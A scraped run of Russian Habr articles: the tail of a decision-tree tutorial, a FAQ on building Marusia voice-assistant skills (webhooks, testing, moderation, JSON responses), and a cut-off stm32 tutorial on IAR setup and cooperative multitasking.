Наше обычное дерево проиграло Sklearn (оно и понятно: Sklearn хорошо оптимизирован, и [в нем](https://scikit-learn.org/stable/auto_examples/tree/plot_tree_regression.html) по умолчанию в дереве используется ещё много параметров, которые мы не учитываем), однако при добавлении сумм результат становится приятнее.
Подведем итоги: мы научились с нуля писать решающие деревья, научились улучшать их работу и проверили их эффективность на реальных датасетах, сравнив с алгоритмом из Sklearn. Однако методами, которые приведены здесь, улучшение работы алгоритмов не ограничивается, поэтому имейте ввиду, что предложенный код можно сделать ещё лучше. В следующей статье на основе этих алгоритмов будем писать бустинг.
Всем успехов! | https://habr.com/ru/post/438560/ | null | ru | null |
# Как разговорить Марусю: FAQ по созданию скиллов для голосового ассистента
Голосовые помощники как технология возникли благодаря развитию целого созвездия других технологий. И одним из таких голосовых помощников стала Маруся, относительно недавно созданная в Mail.ru Group. В её основе лежат последние разработки компании в области распознавания речи, машинного обучения и быстрой обработки крупных массивов данных. Маруся — это диалоговая платформа. Она способна взаимодействовать с человеком не только звуком, но и посредством изображений или текста. Есть много ситуаций, в которых она ответит не голосом, а изображением, текстом или ссылкой.
Маруся дебютировала еще в прошлом году, а первое устройство с этим ассистентом появилось в апреле 2020. Компания развивает его, делает умнее и наполняет библиотеку скиллов. В частности, ассистент стал лучше понимать пользователя, улучшился TTS. Кроме того, Маруся научилась управлять умным домом. В июне 2020 года Mail.ru Group открыла возможность создавать свои собственные скиллы. С тех пор протокол сильно прокачался и возможности ассистента намного выросли, а для разработчиков появился отладчик, где можно протестировать созданные скиллы.
**Содержание:**
1. Как работает Маруся.
2. Как сделать скилл полезным.
3. Как создать скилл для Маруси.
4. Как перенести скилл из других ассистентов.
5. Как устроена среда отладки скиллов.
6. Как добавить скилл через ВКонтакте.
7. Как осуществляется модерация скиллов.
8. Как добавлять изображения в Марусю.
9. Как добавлять звуки в Марусю.
1. Как работает Маруся
----------------------
В основе работы Маруси лежит система «скиллов» или, по-русски, «навыков». Это крохотные диалоговые приложения, в которых прописаны реакции и действия голосового помощника в ответ на определённые голосовые запросы. Этакие микросервисы, если вы знакомы с этой программной архитектурой. Пользователи взаимодействуют со скиллами Маруси, которая может быть встроена в самые разные устройства и отдельные программы. Причём у устройств могут быть сенсорные экраны или только голосовые интерфейсы.
На сегодняшний день Марусю поддерживают:
* [мобильное приложение Маруся на iOS](https://apps.apple.com/ru/app/%D0%BC%D0%B0%D1%80%D1%83%D1%81%D1%8F-%D0%B3%D0%BE%D0%BB%D0%BE%D1%81%D0%BE%D0%B2%D0%BE%D0%B9-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D0%BD%D0%B8%D0%BA/id1467719381);
* [мобильное приложение Маруся на Android](https://play.google.com/store/apps/details?id=ru.mail.search.electroscope);
* [умная колонка «Капсула»](https://capsula.mail.ru/?utm_source=habr&utm_medium=media&utm_campaign=justai);
* [умная колонка Prestigio Smartvoice](https://prestigio.ru/smart-speaker/smartvoice);
* [приложение Почта Mail.ru для iOS](https://apps.apple.com/ru/app/%D0%BF%D0%BE%D1%87%D1%82%D0%B0-mail-ru/id511310430);
* [приложение Почта Mail.ru для Android](https://play.google.com/store/apps/details?id=ru.mail.mailapp&hl=ru&gl=US).
Платформа не ограничивает вас тем набором скиллов, который заложен разработчиками. Вы можете создавать их самостоятельно.
2. Как сделать скилл полезным
-----------------------------
Прежде чем начать создавать скилл, постарайтесь абстрагироваться от всех инструментов и процессов. Представьте, что пользователь разговаривает не с устройством, а просит выполнить свою задачу какого-нибудь специалиста. Задумайтесь: «*Если бы вместо моего скилла был человек, идеально выполняющий эту задачу, как бы он общался с заказчиком?*» Распишите по шагам, как будет проходить этот диалог, какой информацией будут обмениваться заказчик и исполнитель. Учитывайте, что диалог и сценарий использования может отличаться для Маруси в умной колонке и в приложении. В приложении вы можете часть информации вынести в визуальный интерфейс, а в умной колонке доступно только голосовое управление.
При общении с Марусей пользователь может говорить что угодно, и нужно предусмотреть пограничные ситуации, чтобы он не зашёл в тупик. Для этого проверьте свой скилл по [чеклисту TRINDI](https://www.researchgate.net/publication/244504431_Survey_of_Existing_Interactive_Systems/link/00463535023308f188000000/download) ([на русском](https://cloud.mail.ru/public/goys/muSUebQz7)).
После оттачивания сценария нужно продумать интерфейс. Для проверки его удобства рекомендуем второй важный чек-лист — [usability-эвристики Нильсена](https://www.researchgate.net/publication/326188575_Measuring_User_Experience_in_Conversational_Interfaces_A_Comparison_of_Six_Questionnaires) ([на русском](https://cloud.mail.ru/public/yuc6/sL2my8H8M)). По нему проверьте ключевой сценарий и все подзадачи и ответвления. Чек-лист покажет, доносите ли вы всеми необходимыми способами пользователю сигналы о том, что скилл сработал и как он сработал. А заодно поможет правильно обработать ошибки: не просто выдав уведомление, а с пояснением, что делать дальше.
А еще мы советуем использовать длинное тире (—) в диалогах с пользователем, а в качестве кавычек использовать только начертание, принятое в русской типографике — «ёлочки». И не забывайте, что Маруся обращается на «вы» в независимости от возраста пользователя.
3. Как создать скилл для Маруси
-------------------------------
1. **С помощью конструктора голосовых приложений** [**Aimylogic**](https://aimylogic.com/ru). Платформа скиллов общается с самим скиллом посредством протокола. Вебхук (webhook) — это веб-сервис, созданный разработчиком. Этот веб-сервис поддерживает протокол Маруси и способен принять и обработать запрос от пользователя (который Маруся перенаправит во внешний скилл) и отправить ответ. Чтобы сделать такой веб-сервис нужно обладать навыками программирования. Но можно воспользоваться конструктором для создания скиллов или ботов, которые значительно упрощают процесс.
2. **Разработать самостоятельно**. Для этого придётся изучить [подробную документацию по созданию скиллов для Маруси](https://vk.com/dev/marusia_skill_docs). В ней подробно описан протокол, по которому взаимодействует Маруся с внешними навыками, как работать с TTS, как работать с медиафайлами. Код приложения может быть написан на любом удобном вам языке и размещен на любом сервере. Главное, чтобы вебхук был доступен из интернета и воспроизводил протокол Маруси из документации.
3. **Заказать разработку скиллов у сторонних разработчиков**. Тут всё то же самое, что и в предыдущем пункте, только работа будет произведена кем-то другим. Для этого нанятая команда должна иметь опыт по проектированию диалоговых систем (например чат-ботов) и созданию приложений с голосовым управлением.
4. Как перенести скилл из других ассистентов
--------------------------------------------
Если у вас уже есть скилл, созданный на платформе AImylogic, то для подключения его к Марусе достаточно выбрать канал Маруся в настройках и следовать инструкции. Более подробную информацию можно прочитать на [странице платформы](https://help.aimylogic.com/#/docs/ru/publication_channels/marusia.md). При этом все разработчики, которые создают скиллы для Маруси с помощью Aimylogic, могут хостить эти скиллы бесплатно. Для этого есть специальный тариф — Skillmaster.
На что стоит обратить внимание при переносе скилла:
1. Проверить скилл на упоминания брендов и компаний.
2. Убрать стороннюю монетизацию, ссылки на другие каталоги и прочие специфичные настройки.
3. Проверить разметку голосового синтеза. Подробная инструкция по [ссылке](https://vk.com/dev/marusia_skill_docs3?f=3.%2B%D0%A4%D0%BE%D1%80%D0%BC%D0%B0%D1%82%2B%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0%2B%D0%B4%D0%BB%D1%8F%2B%D1%81%D0%B8%D0%BD%D1%82%D0%B5%D0%B7%D0%B0%2B%D1%80%D0%B5%D1%87%D0%B8).
4. Проверить хостинг картинок. Возможно, в переносимом скилле изображения подгружаются из облачного хранилища. Для работы с изображениями необходимо их загрузить в интерфейсе ВКонтакте.
5. При желании можно конвертировать аудио, [используя библиотеку звуков Маруси](https://vk.com/dev/marusia_skill_docs4?f=4.%2B%D0%92%D1%81%D1%82%D0%B0%D0%B2%D0%BA%D0%B0%2B%D0%B7%D0%B2%D1%83%D0%BA%D0%BE%D0%B2%2B%D0%B2%2BTTS).
5. Как устроена среда отладки скиллов
-------------------------------------
Нам важно, чтобы разработчики могли быстро проверять свои идеи, легко отлаживать и тестировать скиллы на нашей платформе. Для этого мы создали [среду для тестирования скиллов](https://skill-tester.marusia.mail.ru/).
Она позволяет не публикуя скилл опробовать его на любом клиенте Маруси. Для начала работы достаточно указать среде Webhook URL разрабатываемого скилла. При этом нет необходимости выкладывать его в сеть — разработчик может подключить к тестовой среде скилл, развёрнутый на своём компьютере, указав локальный адрес, например:
```
http://localhost:3000/webhook
```
Подключенный к среде скилл можно тестировать в любом клиенте Маруси: на колонке «Капсула», в мобильном приложении, во ВКонтакте или во встроенном в среду эмуляторе. Разработчик может переопределять некоторые параметры клиента, передаваемые в скилл: временную зону, геолокацию, язык интерфейса, признак наличия дисплея — это удобно для тестирования сценариев работы скилла.
Тестовая среда воссоздаёт production-окружение Маруси, поэтому уже на ранних этапах реализации разработчик может убедиться, что скилл правильно интегрируется с платформой. Если он возвращает ошибку, отвечает долго, или ответ от скилла не соответствует протоколу, то среда выведет соответствующее сообщение. Также среда отображает лог JSON-сообщений между скиллом и платформой, что помогает искать ошибки в бизнес-логике работы скилла.
6. Как добавить скилл через ВКонтакте
-------------------------------------
Сам скилл можно [создать в разделе для разработчиков](https://vk.com/editapp?act=create) ВКонтакте. Чтобы добавить готовый скилл:
1. В типах приложения выберите «Скилл Маруси».
2. Добавьте название, которое будет совпадать с командой для активации скилла.
3. Введите в поле Webhook URL адрес сервера, по которому будет размещен скилл, например [https://example.com/test-webhook](https://vk.com/away.php?to=https%3A%2F%2Fexample.com%2Ftest-webhook).
4. Подтвердите действие.
Вы попадёте в интерфейс администрирования.
Обратите внимание: имя является первой фразой-триггером для вызова скилла. Фразы должны быть специфичны и уникальны, чтобы мы могли использовать их для внешних скиллов. Например, фразу «*Расскажи анекдот*» добавить не сможем, т.к. она уже используется во внутренних скиллах Маруси. А вот «*Давай сделаем кодревью*» пока можно использовать. Длина фразы активации не может превышать 64 символа.
7. Как осуществляется модерация скиллов
---------------------------------------
Все скиллы, которые создаются для Маруси сторонними разработчиками, в обязательном порядке проходят модерацию. Проходят быстро, всего за один рабочий день.
Каких правил нужно придерживаться, чтобы ваш скилл для Маруси был успешно допущен к использованию:
* картинки должны соответствовать теме скилла и законам РФ, а также не нарушать авторских прав;
* описание скилла должно быть простым, кратким и ёмким;
* категория должна соответствовать тематике скилла;
* скилл должен быть полезен и не носить рекламного характера;
* название скилла и активирующей его фразы не должно содержать известные торговые марки (исключение: если скилл представлен владельцем этой марки);
* скилл не должен давать доступ к контенту, защищенному авторским правом, если права на контент не принадлежат разработчику скилла.
Если ваш скилл удовлетворяет этим условиям, то всего за один день он будет промодерирован и опубликован.
8. Как добавлять изображения в Марусю
-------------------------------------
Маруся позволяет в ответе из внешнего скилла вставлять картинки. Для использования своего изображения необходимо загрузить с помощью формы загрузки изображений на странице редактирования информации о скилле на платформе загрузки скиллов ВКонтакте. После того, как изображение будет успешно загружено, оно отобразится рядом с формой загрузки вместе со своим идентификатором. Идентификатор изображения необходимо указывать в ответе внешнего скилла в поле `image_id`. Выглядеть такой ответ будет следующим образом:
```
{
"response":{
"text":"Сейчас очередь в столовой 5 человек.",
"tts":"Сейчас очередь в столовой пять человек.",
"card":{
"type":"BigImage",
"image_id":239017,
"title": "Заголовок для изображения",
"description": "Описание изображения"
},
"buttons":[
{
"title":"Надпись на кнопке",
"payload":{},
"url":"https://example.com/"
}
],
"end_session":true
},
"session":{
"session_id":"574d41e0-a41e-4028-a73a-6f5b5",
"message_id":0,
"user_id":"3eae3c2f69b9f04e8cb15e157c4a9e05"
},
"version":"1.0"
}
```
9. Как добавлять звуки в Марусю
-------------------------------
Произносимый Марусей текст можно разнообразить звуковыми эффектами, которые входят в библиотеку звуков Маруси. Для этого в поле `tts` (текст, предназначенный для перевода в речь) ответа внешнего скилла нужно вставить самозакрывающийся тег `speaker`, в котором необходимо указать атрибут `audio`. Выглядит это так:
```
tts = “Поздравляю! Вы правильно ответили на все мои вопросы!”
```
В произносимую речь можно вставлять и собственные звуки. Для этого нужно создать скилл на платформе ВКонтакте, а затем на странице редактирования скилла загрузить свои аудиофайлы. Они будут доступны только для использования в вашем внешнем скилле. После того как звуки станут доступны, их можно вставить в речь с помощью тега `speaker` с указанием атрибута `audio_vk_id`. Значением атрибута будет идентификатор загруженного вами звука. Выглядит это так:
```
tts = “Угадайте, чей это голос? ”
```
Платформа скиллов Маруси будет и дальше развиваться. Мы будем радовать разработчиков новыми фичами и развивать инструменты, чтобы создавать скиллы для Маруси было еще легче и интереснее. Следите за новостями и присоединяйтесь к нашему [сообществу](https://t.me/Marusia_skills) в Telegram! | https://habr.com/ru/post/533626/ | null | ru | null |
# Краткое введение в разработку приложений для микроконтроллеров stm32
Ко мне довольно часто обращаются люди с просьбой помочь им начать работу с микроконтроллерами семейства stm32. Отвечая на их вопросы и помогая им с проектами, я понял, что будет лучше написать статью, которая будет полезна всем желающим начать программировать микроконтроллеры stm32. Несмотря на все свои многочисленные возможности, контроллеры stm32 имеют довольно высокий порог вхождения, который для многих остаётся недоступным. В этой статье, я постараюсь дать читателю подробное руководство, как создавать проекты на stm32 и как организовать свою программу.
На примере микроконтроллера stm32f103c8t6 и модуля Blue pill мы рассмотрим структуру типового проекта для среды разработки IAR и создадим работающую прошивку.
Всем, кому интересно начать работать с stm32, добро пожаловать под кат.
#### Что нам потребуется для дальнейшей работы
Все примеры, которые последуют далее, были сделаны в среде IAR Embedded workbench for ARM v7.30. Среда установлена на Windows XP, который установлен в виртуальной машине VirtualBOX, запускаемой из ОС Mac OS X El captain. Также используется программатор ST-LINK, который подключается к плате Blue pill, купленной на AliExpress за ~120₽.
Для создания типового проекта потребуется:
* **Модуль Blue Pill или ему подобные**
Легко находятся на AliExpress по запросу «stm32f103c8t6 board» и стоят примерно 100₽.
* **Программатор ST-Link**
Также легко доступен на AliExpress по запросу «stlink v2» и стоит тоже около 100₽.
Существует его более полная версия, которая рассчитана на подключение стандартного ленточного разъёма IDC20
* **Среда разработки IAR 7.30 или новее**
Ограниченную версию 8.10 можно скачать с официального сайта.
* **Шаблон проекта, который содержит в себе все необходимые компоненты**
Шаблон можно скачать [Здесь](https://yadi.sk/d/m3zIbz6c3NArVc)
* **Справочник по функциям STDPeripheralLibrary3.5.0**
В состав проекта входит библиотека функций StdPeriph3.5.0. Немного старовата для серьёзных проектов, однако для новичков она довольно проста и позволяет избежать головной боли при работе с периферией микроконтроллера. Справочник в формате WinHelp (CHM) можно скачать
[Отсюда](https://yadi.sk/d/pH9SeV803NArVj)
* **RM0008 Reference manual**
Справочное руководство по микроконтроллерам семейства stm32f103c8. Справочник содержит описание ядра и периферии микроконтролера, его архитектуру, описания регистров. Справочник желательно, со временем, прочитать вдоль и поперёк и знать, как работает каждый периферийный компонент. Если вы сторонник голого CMSIS, тогда без этой PDFки вам никак. Если же новичок, который пользуется Perlib, тогда всё равно нужно читать, как работает тот или иной модуль периферии. Скачать справочник можно [с сайта STMicroelectonics](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf)
#### Шаблон проекта
Прилагаемый шаблон проекта не был взят целиком откуда-то из интернетов, а был создан своими руками из примеров, которые шли в PeripheralLibrary, файлов из пакета CMSIS и собственных доработок. Шаблон проекта не содержит файлов, которые относятся к какой либо среде разработки и может быть использован для любой из них (я не проверял, но полагаю, что так).
Подробное описание структуры каталогов может показаться слишком сложным для новичков, однако, изучить его тоже будет полезно.
**Структура каталогов проекта*** **config**
*stm32f10x\_conf.h*
Этот файл относится к пакету StdPeripheral и содержит включения заголовочных файлов, используемой в проекте периферии микроконтроллера. Предполагается, что неиспользуемые файлы программист закомментирует сам, в зависимости от проекта. По-умолчанию включаются все файлы.
* **core**
В этом каталоге содержатся файлы CMSIS, которые относятся исключительно к процессорному ядру ARM CortexM3.
* **perlib**
Этот каталог содержит заголовочные файлы и исходный код библиотеки Perlib в каталогах *inc* и *src*.
* **startup**
Здесь находятся файлы с кодом первичной инициализации контроллера, которые устанавливают обработчики прерываний ядра ARM и вызывают функции инициализации системы тактирования ядра и инициализации ФАПЧ. Для каждого типа микроконтроллера свой отдельный файл.
Код в этом файле выполняется ДО того, как будет вызвана функция main() вашей программы.
Обработчики прерываний ядра ARM, а также функции инициализации тактирования в этих файлах не хранятся, только вызываются. А хранятся они в файлах каталога system, который будет рассмотрен далее.
Например, чтобы микроконтроллер stm32f103c8t6 работал на 72МГц, а не на дефолтные 8МГц нужно подключить в проекте файл *startup\_stm32f10x\_md.s*.
* **system**
В этом каталоге собраны файлы, которые содержат все функции начальной инициализации системы, обработчики прерываний ядра ARM, а также описания названий и полей регистров микроконтроллера.
*stm32f10x.h*
Это файл из пакета CMSIS, который содержит адреса, названия регистров и их полей для периферии микроконтроллера. Каждый периферийный модуль тут представлен как структура, поля которой есть регистры. Также здесь определяются константы и битовые маски полей регистров.
*stm32f10x\_it*
Здесь прописаны обработчики прерываний ядра ARM. За исключением обработчика SysTick, который я использовал для вычисления интервалов времени, эти обработчики прерываний пусты. Если, вдруг, в вашем проекте потребуется обработка прерываний ядра, то этот файл как раз для вас.
**Не стоит путать обработку прерываний ядра процессора и обработку прерываний периферии. Прерывания периферии, такой как таймер или USART, следует производить в ваших собственных файлах проекта, которые вы сами напишите и добавите в корень каталога проекта.**
*system\_stm32f10x*
В этих двух файлах содержатся те самые функции инициализации подсистемы тактирования ядра и ФАПЧ, которые вызываются из файла первичной инициализации в каталоге startup. А именно, функции SystemInit и SystemCoreClockUpdate.
#### Создаём проект
Чтобы создать наш первый проект, сначала нужно создать для него папку. Назовём её EX01.
Запускаем IAR и в меню **Project** выбираем пункт **Create New Project**.
**Рисунок 1. Создание нового проекта**
Значение toolchain следует оставить ARM, а Project template мы выбираем C → main. Далее, нажимаем кнопку OK.
**Рисунок 2. Сохранение пустого проекта**
Возникнет окно сохранения проекта. В нём следует выбрать ранее созданную папку. Назовём проект ex01. Теперь, можно нажать **Сохранить**.
В результате будет создан пустой файл main и пустрой проект, который не содержит пока никаких настроек. Следующим шагом нужно будет сохранить рабочую область Workspace, чтобы она не мешала нам своими вопросами в будущем. Нажимаем **File → Save Workspace**. Называем её ex01 и нажимаем **Сохранить**.
**Рисунок 3. Сохранение рабочей области**
Теперь мы готовы использовать шаблон проекта. Скопируем его из архива в нашу папку EX01.
**Рисунок 4. Копирование файлов из шаблона в новый проект**
Файлы main, которые создал шаблон проекта следует заменить файлами из проекта.
После того, как мы скопировали шаблон проекта, следует настроить сам проект.
Для этого, выбираем меню **Project → Options**. Откроется окно, которое будет содержать список категорий опций слева, каждое из которых будет иметь те или иные закладки.
Выбираем категорию **General Options** и в ней закладку **Target**. В группе **Processor Variant** следует выбрать опцию **Device** и нажать рядом с ней кнопку выбора конкретного устройства. В нашем случае это будет ST → STM32F103 → ST STM32F103x8.
**Рисунок 5. Выбор целевого устройства для проекта**
Следующая категория, которая требует нашего внимания, это категория **C/C++ Compiler** и закладка **Preprocessor**.
**Рисунок 6. Настройки закладки Preprocessor**
Блок **Additional include directories** следует заполнить ссылками на каталоги шаблона проекта.
**PreInclude file** нужно выбрать конфигурационный файл библиотеки PerLib, а **Defined symbols следует** указать STM32F10X\_MD, чтобы файлы начальной инициализации установили правильное тактирование ядра и правильно настроили ФАПЧ.
Поскольку мы используем в качестве программатора ST-Link v2, следует выбрать драйвер, которым будет пользоваться среда разработчика. Выбираем категорию **Debug** и закладку **Setup**, на которых в выпадающем списке выберем **Driver ST-Link**.
**Рисунок 7. Выбор средства отладки**
Теперь нужно настроить заливку прошивки в контроллер. Сделать это можно в этой же категории, на закладке **Download**. Нас интересуют опции **Verify download** и **Use flash loader(s)**.
**Рисунок 8. Настройка параметров заливки прошивки в микроконтроллер**
Так как мы выбрали ST-Link в качестве средства заливки прошивки в контроллер и отладки, следует настроить его драйвер так, чтобы он работал с нашим контроллером. У платы Blue Pill нет полноценного JTAG разъёма, который мог бы работать по полному протоколу JTAG. Вместо этого, мы будет использовать его упрощённый режим, который называется SWD. Этот режим JTAG использует только три линии. Это GND, SWDCLK и SWDIO. По-умолчанию, включен режим полноценного JTAG, поэтому нам нужно его изменить на SWD и задать частоту ядра 72МГц.
В списке категорий выбираем **ST-LINK** и меняем опцию в группе **Interface** на SWD.
Теперь можно нажимать **OK**, наш проект настроен.
**Рисунок 9. Настройка драйвера ST-LINK**
Теперь осталось сделать последнее, но очень важное действие, перед там, как мы станем компилировать нашу первую программу. Нужно добавить файлы из шаблона в проект.
Добавление файлов в проект осуществляется в панели Workspace. Там уже есть файл main, однако нам нужно добавить PerLib, а также один из файлов начальной инициализации из каталога startup и файлы начальной инициализации из каталога system. Мы могли бы накидать просто кучей, но потом пришлось бы мучаться и если проект вырастает слишком большим, то такая свалка будет очень мешать.
Среда разработки IAR позволяет создавать группы файлов. Группы являются исключительно виртуальным понятием. Они всего лишь позволяют организовать файлы в проекте. Никакого отношения к дисковым каталогами группы не имеют.
Мы создадим группы для каждого каталога из шаблона проекта и поместим туда файлы шаблона.
Сначала, создадим группу config и положим в неё файл stm32f10x\_conf.h из каталога config.
Для этого следует кликнуть правой кнопкой мышки на названии проекта в окне Workspace и в выпадающем меню выбрать Add → Add Group. Назовём группу Config.
Чтобы добавить файлы в эту группу, кликаем правой кнопкой мыши по ней и выбираем Add → Add Files. В открывшемся окне открываем папку config и выбираем файл stm32f10x\_conf.h.
Подобным образом добавляем содержимое папок Perlib, Startup и System. Папку Core добавлять не нужно, там одни заголовочные файлы, которые итак доступны из добавленной библиотеки Perlib.
**Рисунок 11. Полный вид пустого и полностью настроенного проекта**
Вот теперь проект полностью готов к дальнейшей разработке.
#### Немного теории
Многие начинающие программисты привыкли к тому, что программа состоит из одного цикла, в котором функции вызываются одна за другой. Следующая функция вызывается только после того, как предыдущая полностью выполнила свои дела. Такую парадигму предлагает Ардуино или разные статьи с уроками для начинающих. Однако, крупные проекты редко бывают однопоточными. Как правило, более-менее серьёзная прошивка может иметь несколько потоков.
В микроконтроллерах, для организации многопоточности, используются Операционные Системы Реального Времени (ОСРВ), такие, как ThreadX или FreeRTOS. Все они позволяют создавать множество таких циклов, в которых функции исполняются одна за другой, вот только циклы работают одновременно. Подобно нескольким Ардуинам, утрамбованным в один микроконтроллер.
При всей своей мощности, ОСРВ вносят и определённые сложности. Например, каждый поток имеет собственный стек, собственную область памяти. Если нескольким потокам нужно получить доступ к одной и той же ячейке памяти, им следует синхронизировать свои действия, используя мьютексы или семафоры. Неправильное использование объектов синхронизации может привести к взаимным блокировкам или инверсии приоритетов потоков. Кроме того, обработка прерываний от периферии тоже требует особенного внимания в многопоточной среде, поскольку возникает задача сохранения стека и выбора условий, при которых вызов прерывания не разрушит стек прерванного потока. Да и сам обработчик прерывания тоже должен отработать до конца.
ОСВР выделяет на каждый поток крошечный интервал времени. По истечении этого интервала, ОСРВ переключается на следующий поток (неважно, успел ли предыдущий завершить свои действия или нет) и так по кругу. Разные потоки могут получать разные интервалы времени, в зависимости от их приоритета. Такая многопоточность называется «вытесняющая».
За перебор потоков и передаче им управления на короткий интервал времени отвечает компонент ОСРВ, который называется «планировщик».
Начинающим программистам сложно сразу освоить огромную и сложную периферию stm32 и при этом ещё и изучить ОСРВ.
К счастью, существуют способы делать многопоточные приложения вообще без ОСРВ. Для этого, нам на помощь приходит «кооперативная многопоточность». Кооперативная многопоточность позволяет делать относительно небольшие многопоточные проекты без привлечения ОСРВ.
В чём же суть кооперативной многопоточности? При такой многопоточности, каждый поток берёт столько процессорного времени, сколько ему нужно, однако недостаточно много, чтобы выполнить всю свою задачу сразу. Это выдвигает очень жёсткие требования к стилю написания кооперативно-многопоточных приложений.
Кооперативная многопоточность имеет ряд преимуществ и недостатков. Выбор парадигмы многопоточности целиком зависит от разработчика и требований выполняемой им задачи.
Главными преимуществами кооперативной многопоточности является отсутствие планировщика, единый стек для всех потоков, отсутствие необходимости синхронизировать потоки и простота обработки прерываний от периферии.
К сожалению, есть и недостатки. В частности, зависание одного из потоков приведёт к зависанию всей программы в целом. Также, неправильное написание одного или нескольких потоков могут привести к задержке выполнения остальных. И это далеко не полный список.
#### Структура кооперативно-многопоточного приложения
В основе написания кооперативно-многопоточных приложений лежит машина состояний. Я не буду подробно её описывать, поскольку [здесь](https://habrahabr.ru/post/160105/) это уже подробно описано. Однако, вкратце объясню суть. Машина состояний — это некий абстрактный объект, количество состояний которого конечно. Объект переходит из одного состояния в другое либо под воздействием внешних факторов, либо по причине внутренних процессов. В нашем случае, поток кооперативного приложения это реализация машины состояний.
Поток имеет некий список состояний. В каждом состоянии выполняется либо какое-то короткое действие, либо ничего. Переключение состояний может осуществляться либо вызовом внешних функций, либо при возникновении условий, при которых нахождение потока в текущем состоянии более невозможно и требуется переключение в другое состояние.
За несколько лет работы с микроконтроллерами stm32 у меня сложилась некоторая структура кооперативно-многопоточного приложения, которую я и хочу вам представить.
Каждый поток представляет собой отдельный модуль (заголовочный файл и файл кода).
У модуля есть публичные функции, прототипы которых прописаны в заголовочном файле и приватные, вызов которых извне невозможен. Каждый модуль имеет как минимум две публичных функции:
```
void XXX_Init();
void XXX_Control();
```
Функция XXX\_Init() вызывается перед главным циклом в функции main(), а функция XXX\_Control() вызывается в главном цикле функции main.
```
void main()
{
// Инициализация модуля XXX
XXX_Init();
// Инициализация модуля YYY
YYY_Init();
// Инициализация модуля ZZZ
ZZZ_Init();
while(true){
XXX_Control();
YYY_Control();
ZZZ_Control();
}
}
```
Файл модуля XXX мог бы выглядеть следующим образом:
**xxx.c**
```
#include "xxx.h"
#define XXX_WATER_MAX_THRESHOLD 100500
#define XXX_WATER_MIN_THRESHOLD 9000
typedef enum{
idle,
state1,
state2,
:
stateX,
}XXX_States;
static XXX_States xxxCurrentState = idle;
static int xxxToiletWaterLevel=0;
//--------- Приватные функции модуля --------
void private_init1()
{
}
void private_init2()
{
}
void private_measureLevel()
{
}
void private_flush()
{
}
void private_superFlush()
{
}
//-------- Публичные функции модуля ---------
void XXX_Init()
{
xxxCurrentState=idle;
}
void XXX_Reset()
{
private_superFlush();
xxxCurrentState=idle;
}
void XXX_Control()
{
switch(xxxCurrentState)
{
case idle:
private_measureLevel();
if(xxxToiletWaterLevel>XXX_WATER_MIN_THRESHOLD)
xxxCurrentState=state1;
break;
case state1:
if(xxxToiletWaterLevel
```
#### Пример кооперативно-многопоточного приложения
Чтобы не быть слишком уж абстрактным, давайте представим себе реальную задачу. Допустим, у нас есть поток, который мигает светодиодом (два раза в секунду), который подключен катодом к порту PC13. Также у нас есть поток, который получает команды через последовательный порт. Если приходит символ '0' (0x30), тогда мигание прекращается и клиенту посылается знак '-'. Если же приходит символ '1' (0x31), мигание включается и клиенту возвращается символ '\*'. При нажатии любой другой клавиши возвращается символ 'E'.
Поток управления миганием светодиода мы расположим в файлах modLed.h и modLed.c. Этот поток изначально находится в состоянии idle и ничего не делает. Однако, его публичная функция MODLED\_command, при получении аргумента modled\_on переключает состояние потока в
modled\_st\_on. В этом состоянии поток зажигает светодиод, запоминает начальное значение счётчика global\_count и переходит в состояние ожидания modled\_st\_wait1. В этом состоянии он постоянно проверяет текущее значение счётчика global\_count и когда разность текущего счёта и начального счёта составляет MODLED\_BLINK\_DELAY\_ON, поток переходит в состояние modled\_st\_off. В этом состоянии, поток выключает светодиод, запоминает текущее значение счёта и переходит в состояние modled\_st\_wait2. В этом состоянии поток также сравнивает текущее значение счётчика global\_count с начальным и когда разница составляет MODLED\_BLINK\_DELAY\_OFF переходит в состояние modled\_st\_on. И так будет продолжаться до тех пор, пока кто-то не вызовет функцию MODLED\_command с аргументом modled\_off. Тогда, функция переключит состояние потока в modled\_st\_clamp. Поток выключит светодиод и перейдёт в состояние modled\_st\_idle.
Инициализация потока modled начинается в функции main вызовом функции MODLED\_init(). В этой функции происходит инициализация порта GPIOC и установка начального состояния потока. После чего, в цикле производится постоянный вызов функции MODLED\_control(), которая за одну итерацию выполняет проверку текущего состояния и выполняет небольшие действия для него.
Поток управления последовательным портом сделан по идентичной схеме.
У него имеются приватные функции инициализации порта GPIO и модуля USART1. Также, внутри него спрятан обработчик прерывания от периферийного модуля USART1, в котором производится запоминание текущего принятого байта и установка статуса потока в moduart\_st\_command.
Изначально поток moduart находится в состоянии moduart\_st\_idle, в котором он ожидает приёма байта. Как только байт принят и запомнен в переменной, обработчик прерывания изменяет состояние потока на moduart\_st\_command и поток проверяет принятый байт. Если принятый байт является командой '0', тогда вызывается функция MODLED\_command с аргументом modled\_off и возвращается символ '-'. Если принятый байт является командой '1', тогда вызывается функция MODLED\_command с аргументом modled\_on и возвращается символ '\*'. В остальных случаях просто возвращается символ 'E'.
Инициализация потока MODUART также происходит в файле main, вызовом функции MODUART\_init(). Эта функция инициализирует порт и периферийный модуль USART1 и переводит поток в режим ожидания. В главном цикле вызывается контрольная функция потока MODUART\_control(), которая проверяет текущее состояние и выполняет небольшой фрагмент кода, связанный с его обработкой.
Весь секрет кооперативно-многопоточных приложений как раз и состоит в том, чтобы делать для каждого состояния небольшие фрагменты кода.
**Переменная global\_count**
Наверное, стоит отдельно рассказать про эту переменную global\_count.
В файле инициализации *startup\startup\_stm32f10x\_md.s* содержится таблица прерываний микроконтроллера. В ней прописаны адреса обработчиков для всех прерываний периферии
и ядра. Однако, прерывания периферии приходят только тогда, когда периферия инициализирована. Поэтому, изначально, обработчики указывают на временные заглушки. А вот обработчики прерываний ядра Cortex M3 реально существуют и содержаться в файле *system\stm32f10x\_it*. Одно из таких прерываний, это прерывание системного таймера SysTick. Этот таймер используется ОСРВ для вызова планировщика задач. Но, я использую его для вызова функции TimingDelay\_Decrement, которая реально определена в файле main.
```
//-------------------------------------------------------------------
// Глобальный счётчик
volatile unsigned long global_count=0;
// Эта функция вызывается из обработчика прерываний SysTick, который
// находтся в файле stm32f10x_it.c
void TimingDelay_Decrement(void)
{
// Увеличиваем глобальный счётчик
global_count++;
if (TimingDelay != 0x00)
{
TimingDelay--;
}
}
```
В начале функции main стоит установка частоты SysTick таймера на 1 мс. Следовательно,
